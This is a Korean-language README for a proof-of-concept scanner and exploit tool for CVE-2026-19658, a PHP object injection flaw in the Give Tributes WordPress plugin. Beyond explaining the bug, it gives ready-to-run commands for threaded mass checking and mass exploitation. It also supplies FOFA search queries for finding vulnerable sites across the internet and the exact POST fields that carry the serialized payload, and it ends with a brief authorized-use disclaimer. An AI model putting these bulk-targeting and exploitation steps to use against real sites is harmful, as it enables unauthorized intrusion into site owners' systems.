CVE-2026-19658 — Give Tributes 인증되지 않은 PHP 객체 주입

WordPress 애드온 Give - Tributes(Liquid Web / GiveWP)의 **CVE-2026-19658**에 대한 Python 3 개념 증명 스캐너 및 기부 체인 익스플로잇 도우미입니다.

요약

eCard에 대해 Allow Multiple Recipients가 활성화되어 있고 eCard custom message가 비활성화(기본값)된 경우, 취약한 버전은 원시 $_POST eCard 수신자 데이터를 기부 메타에 저장합니다. GiveWP 필드 유효성 검사는 $_POST의 give_clean() 복사본을 사용하지만(직렬화된 문자열은 여기서 비워짐), insert_tribute_data()는 정제되지 않은 $_POST를 읽으므로 두 번째 수신자의 first_name / last_name에 PHP 직렬화 객체가 포함될 수 있습니다.

영향: Give Tributes 단독으로는 알려진 POP 체인이 없습니다. 메타는 읽을 때(예: 관리자 eCard 미리보기/재전송) 역직렬화됩니다. RCE 또는 파괴적 영향은 다른 설치된 플러그인이나 테마의 가젯 체인이 필요합니다.

서버 측 전제 조건

1. Give Tributes ≤ 2.3.1
2. Allow Multiple Recipients 활성화 (전역 또는 양식별)
3. eCard Custom Message 비활성화 (기본값)
4. 공개 레거시 Give 양식 ([give_form] / v2), v3 전용 Visual Form Builder 아님
5. 테스트에서 기부를 완료할 수 있는 결제 게이트웨이 (개발/스테이징에서는 종종 manual)

요구 사항

• Python 3.8+
• pip install -r requirements.txt

빠른 시작

pip install -r requirements.txt

# 단일 대상 — 확인 (--list의 경우 기본적으로 터미널 흐름 활성화)
python poc.py -u https://target.example --mode check

# 대량 확인
python poc.py --list targets.example.txt --mode check --threads 20 --flow

# 단일 대상 — 익스플로잇 (승인된 대상만)
python poc.py -u https://target.example --mode exploit \
  --form-url /donate/ --form-id 123 --gateway manual \
  --payload 'O:8:"stdClass":0:{}'

# 확인 출력에서 대량 익스플로잇
python poc.py --list candidates.jsonl --mode exploit --threads 8 --flow \
  --vuln-list exploited.txt

FOFA → 대상 목록

예시:

body="/wp-content/plugins/give-tributes/"
body="give-tributes" && body="givewp"

호스트 목록 (한 줄에 도메인 하나):

python poc.py --list my_hosts.txt --mode check --threads 20 --flow

FOFA CSV 내보내기:

python fofa_to_list.py -i fofa_export.csv
python poc.py --list list.txt --mode check --threads 20

CLI 옵션

익스플로잇 실행 시 **--vuln-list exploited.txt**를 사용하여 hits.txt의 확인 적중이 덮어쓰이지 않도록 하세요.

출력 파일

확인 status 값

원격 스캔은 "Allow Multiple Recipients"를 안정적으로 확인할 수 없습니다; 후보는 익스플로잇 시점에 여전히 실패할 수 있습니다.

익스플로잇 참고 사항

• PoC는 두 개의 eCard 수신자를 전송합니다; 페이로드는 두 번째 first_name 필드입니다.
• manual 게이트웨이는 프로덕션에서 종종 비활성화됩니다 — 양식에 표시되는 게이트웨이(stripe, paypal, test, …)를 시도하세요.
• 성공하려면 Give 영수증 마커가 필요합니다("thank you"가 포함된 일반 페이지 문구가 아님). 양식이 여전히 존재하는 동일한 URL은 성공으로 간주되지 않습니다.
• give validation rejected donation: tribute/notify 옵션, 금액 또는 게이트웨이 불일치.
• HTTP 403: POST를 차단하는 WAF (Sucuri, MalCare 등).
• v3 전용 양식: 레거시 양식 URL을 사용하거나 건너뛰세요(프로세서가 레거시 엔드포인트에서 v3 ID를 거부함).

POST 형태 (레거시 양식)

give_tributes_show_dedication=yes
give_tributes_would_to=send_eCard
give_tributes_ecard_notify[recipient][first_name][]=Valid
give_tributes_ecard_notify[recipient][first_name][]=<serialized payload>
give_tributes_ecard_notify[recipient][email][]=<donor email>
give_tributes_ecard_notify[recipient][email][][email protected]
…

저장소 구조

.
├── poc.py
├── fofa_to_list.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore

로컬 스캔 목록 및 실행 산출물(list.txt, fofa*.csv, *.jsonl, hits.txt, …)은 .gitignore에 있으며 커밋해서는 안 됩니다.

참고 자료

• NVD — CVE-2026-19658
• Give Tributes readme (수정 사항 2.3.1.1)
• GiveWP 플러그인

법적 고지

승인된 보안 테스트 및 교육 목적으로만 사용하세요. 관련 법률 및 프로그램 규칙을 준수할 책임은 사용자에게 있습니다.